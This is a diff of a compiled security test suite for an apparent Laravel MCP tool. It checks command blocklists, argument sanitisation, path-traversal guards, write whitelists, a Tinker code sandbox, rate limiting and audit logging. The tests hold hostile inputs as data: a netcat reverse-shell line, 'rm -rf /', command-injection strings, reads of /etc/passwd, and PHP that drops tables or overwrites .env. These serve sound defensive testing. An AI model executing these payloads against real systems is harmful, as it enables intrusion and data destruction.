+    assert.doesNotThrow(() => checkEnvironment(tmpDir));
+    fs.rmSync(tmpDir, { recursive: true, force: true });
+});
+test("Gate 2: Command Classification & Complete Blocklist Audit", () => {
+    const dangerousCommands = [
+        "migrate:fresh",
+        "migrate:reset",
+        "migrate:rollback",
+        "migrate:refresh",
+        "db:wipe",
+        "down",
+        "up",
+        "tinker",
+        "serve",
+        "queue:restart",
+        "event:generate",
+        "vendor:publish",
+        "schedule:run",
+        "notifications:table",
+        "session:table",
+        "queue:table",
+        "cache:table",
+        "package:discover",
+        "stub:publish",
+    ];
+    for (const cmd of dangerousCommands) {
+        assert.equal(classifyCommand(cmd), "DANGEROUS", `Command '${cmd}' must be classified as DANGEROUS`);
+        const check = isCommandAllowed(cmd);
+        assert.equal(check.allowed, false, `Command '${cmd}' must be permanently blocked`);
+    }
+    // Arbitrary shell commands must automatically fall back to DANGEROUS
+    const arbitraryCmds = ["eval", "system", "rm", "format", "powershell", "bash", "cat"];
+    for (const cmd of arbitraryCmds) {
+        assert.equal(classifyCommand(cmd), "DANGEROUS");
+        assert.equal(isCommandAllowed(cmd).allowed, false);
+    }
+});
+test("Gate 3: Shell Injection & Malicious Vector Filtering", () => {
+    const attackPayloads = [
+        "; rm -rf /",
+        "&& shutdown /s",
+        "| nc -e /bin/sh 10.0.0.1 4444",
+        "`id`",
+        "$(whoami)",
+        "${PATH}",
+        "arg > /tmp/hack.txt",
+        "arg < /tmp/payload.txt",
+        "arg\nrm -rf /",
+        "arg\r\nrm -rf /",
+        "arg\0.php",
+        "../../../etc/passwd",
+        "..\\..\\..\\windows\\system32",
+    ];
+    for (const payload of attackPayloads) {
+        assert.throws(() => sanitizeArgs([payload]), /Security Error/i, `Attack payload '${payload}' was not blocked by sanitizeArgs!`);
+    }
+    // Length overflow check
+    assert.throws(() => sanitizeArgs(["a".repeat(256)]), /exceeds 255/);
+    // Parameter count overflow check
+    assert.throws(() => sanitizeArgs(Array(21).fill("arg")), /Too many arguments/);
+});
+test("Gate 4: Destructive Flag Interception", () => {
+    // --force flag checks
+    assert.throws(() => validateDangerousFlags("migrate", ["--force"]), /--force/);
+    assert.throws(() => validateDangerousFlags("db:seed", ["--force"]), /--force/);
+    assert.throws(() => validateDangerousFlags("key:generate", ["--force"]), /--force/);
+    // --seed flag check on migrate
+    assert.throws(() => validateDangerousFlags("migrate", ["--seed"]), /--seed/);
+    // Destructive wildcards
+    assert.throws(() => validateDangerousFlags("migrate", ["--drop-tables"]), /prohibited/i);
+    assert.throws(() => validateDangerousFlags("migrate", ["--drop-views"]), /prohibited/i);
+    assert.throws(() => validateDangerousFlags("migrate", ["--wipe"]), /prohibited/i);
+    // Harmless flags allowed
+    assert.doesNotThrow(() => validateDangerousFlags("migrate", ["--pretend"]));
+    assert.doesNotThrow(() => validateDangerousFlags("route:list", ["--compact"]));
+});
+test("Gate 5: Path Traversal & Symlink Escape Prevention", () => {
+    const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-path-test-"));
+    const appDir = path.join(tmpDir, "app");
+    fs.mkdirSync(appDir, { recursive: true });
+    // Valid paths inside root
+    assert.equal(isPathSafe("app/Models/User.php", tmpDir), path.resolve(tmpDir, "app/Models/User.php"));
+    // Traversal attacks
+    assert.throws(() => isPathSafe("../../../etc/passwd", tmpDir), /Security Error/);
+    assert.throws(() => isPathSafe("..\\..\\windows\\system32", tmpDir), /Security Error/);
+    assert.throws(() => isPathSafe("/etc/passwd", tmpDir), /Security Error/);
+    fs.rmSync(tmpDir, { recursive: true, force: true });
+});
+test("Gate 6: File Write Guard, Extension Whitelist & Auto-Backup System", async () => {
+    const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-write-test-"));
+    const appDir = path.join(tmpDir, "app", "Http", "Controllers");
+    fs.mkdirSync(appDir, { recursive: true });
+    // Whitelisted directory & extension
+    assert.equal(isWriteAllowed("app/Http/Controllers/ProductController.php").allowed, true);
+    assert.equal(isWriteAllowed("routes/api.php").allowed, true);
+    assert.equal(isWriteAllowed("resources/views/welcome.blade.php").allowed, true);
+    assert.equal(isWriteAllowed("config/services.php").allowed, true);
+    // Blacklisted directory / files
+    assert.equal(isWriteAllowed(".env").allowed, false);
+    assert.equal(isWriteAllowed("vendor/autoload.php").allowed, false);
+    assert.equal(isWriteAllowed("node_modules/express/index.js").allowed, false);
+    assert.equal(isWriteAllowed("artisan").allowed, false);
+    assert.equal(isWriteAllowed("composer.json").allowed, false);
+    assert.equal(isWriteAllowed("storage/logs/laravel.log").allowed, false);
+    assert.equal(isWriteAllowed("public/index.php").allowed, false);
+    // Blacklisted extension
+    assert.equal(isWriteAllowed("app/exploit.sh").allowed, false);
+    assert.equal(isWriteAllowed("app/malware.exe").allowed, false);
+    // Test Auto-Backup execution
+    const testFile = path.join(appDir, "TestController.php");
+    fs.writeFileSync(testFile, "<?php // Original Content");
+    const { backupPath } = await writeFileContent(testFile, "<?php // Updated Content", tmpDir);
+    assert.ok(backupPath, "Backup path must be generated");
+    assert.ok(fs.existsSync(backupPath), "Backup file must exist on disk");
+    assert.equal(fs.readFileSync(backupPath, "utf-8"), "<?php // Original Content");
+    assert.equal(fs.readFileSync(testFile, "utf-8"), "<?php // Updated Content");
+    fs.rmSync(tmpDir, { recursive: true, force: true });
+});
+test("Gate 7: Tinker Code Sandbox & Exploit Mitigation", () => {
+    // Safe snippets
+    assert.equal(sanitizeTinkerCode("User::first();").safe, true);
+    assert.equal(sanitizeTinkerCode("config('app.name');").safe, true);
+    assert.equal(sanitizeTinkerCode("collect([1, 2, 3])->map(fn($n) => $n * 2);").safe, true);
+    // System command execution exploits
+    assert.ok(!sanitizeTinkerCode("exec('whoami');").safe);
+    assert.ok(!sanitizeTinkerCode("system('ls -la');").safe);
+    assert.ok(!sanitizeTinkerCode("passthru('id');").safe);
+    assert.ok(!sanitizeTinkerCode("shell_exec('cat /etc/passwd');").safe);
+    assert.ok(!sanitizeTinkerCode("popen('cmd', 'r');").safe);
+    // File modification exploits
+    assert.ok(!sanitizeTinkerCode("unlink('app/Models/User.php');").safe);
+    assert.ok(!sanitizeTinkerCode("file_put_contents('.env', 'HACKED');").safe);
+    // Database destruction exploits
+    assert.ok(!sanitizeTinkerCode("DB::statement('DROP TABLE users');").safe);
+    assert.ok(!sanitizeTinkerCode("Schema::drop('users');").safe);
+    assert.ok(!sanitizeTinkerCode("User::truncate();").safe);
+});
+test("Gate 8: Rate Limiter & Flood Prevention", () => {
+    const limiter = new RateLimiter({
+        maxRequestsPerMinute: 5,
+        maxRequestsPerHour: 100,
+        cooldownMs: 0,
+    });
+    for (let i = 0; i < 5; i++) {
+        assert.equal(limiter.checkRateLimit().allowed, true, `Request #${i + 1} should be allowed`);
+        limiter.recordRequest();
+    }
+    // 6th request MUST be blocked
+    const check = limiter.checkRateLimit();
+    assert.equal(check.allowed, false, "Request #6 must be blocked by rate limiter");
+    assert.ok(check.reason?.includes("limit of 5 requests per minute exceeded"));
+});
+test("Gate 9: Audit Logger (.jsonl persistence & format)", () => {
+    const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-audit-test-"));
+    const sessionId = initAuditLogger(tmpDir);
+    assert.ok(sessionId, "Session ID must be initialized");
+    logAudit({
+        tool: "run_artisan",
+        tier: "CAUTIOUS",
+        command: "make:model",
+        args: ["Product"],
+        status: "ALLOWED",
+        exitCode: 0,
+    });
+    logAudit({
+        tool: "run_artisan",
+        tier: "DANGEROUS",
+        command: "migrate:fresh",
+        status: "BLOCKED",
+        reason: "Permanently blocked",
+    });
+    const auditFile = path.join(tmpDir, ".laravel-mcp-audit.jsonl");
+    assert.ok(fs.existsSync(auditFile), "Audit log file must be created on disk");
+    const lines = fs.readFileSync(auditFile, "utf-8").trim().split("\n");
+    assert.equal(lines.length, 2, "Must contain exactly 2 audit log entries");
+    const entry1 = JSON.parse(lines[0]);
+    assert.equal(entry1.tool, "run_artisan");
+    assert.equal(entry1.command, "make:model");
+    assert.equal(entry1.status, "ALLOWED");
+    const entry2 = JSON.parse(lines[1]);
+    assert.equal(entry2.command, "migrate:fresh");
+    assert.equal(entry2.status, "BLOCKED");
+    fs.rmSync(tmpDir, { recursive: true, force: true });
+});
+test("Gate 10: Dry-Run Mode & CLI Argument Configuration", () => {
+    const config = parseConfig([
+        "node",
+        "index.js",
+        "/path/to/laravel",
+        "--dry-run",
+        "--allow-write",
+        "--rate-limit",
+        "50",
+    ]);
+    assert.equal(config.dryRun, true);
+    assert.equal(config.allowWrite, true);
+    assert.equal(config.rateLimit, 50);
+});
+//# sourceMappingURL=full-security-audit.test.js.map

package/build/tests/full-security-audit.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"full-security-audit.test.js","sourceRoot":"","sources":["../../src/tests/full-security-audit.test.ts"],"names":[],"mappings":"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"}

package/build/tests/security.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=security.test.d.ts.map

package/build/tests/security.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"security.test.d.ts","sourceRoot":"","sources":["../../src/tests/security.test.ts"],"names":[],"mappings":""}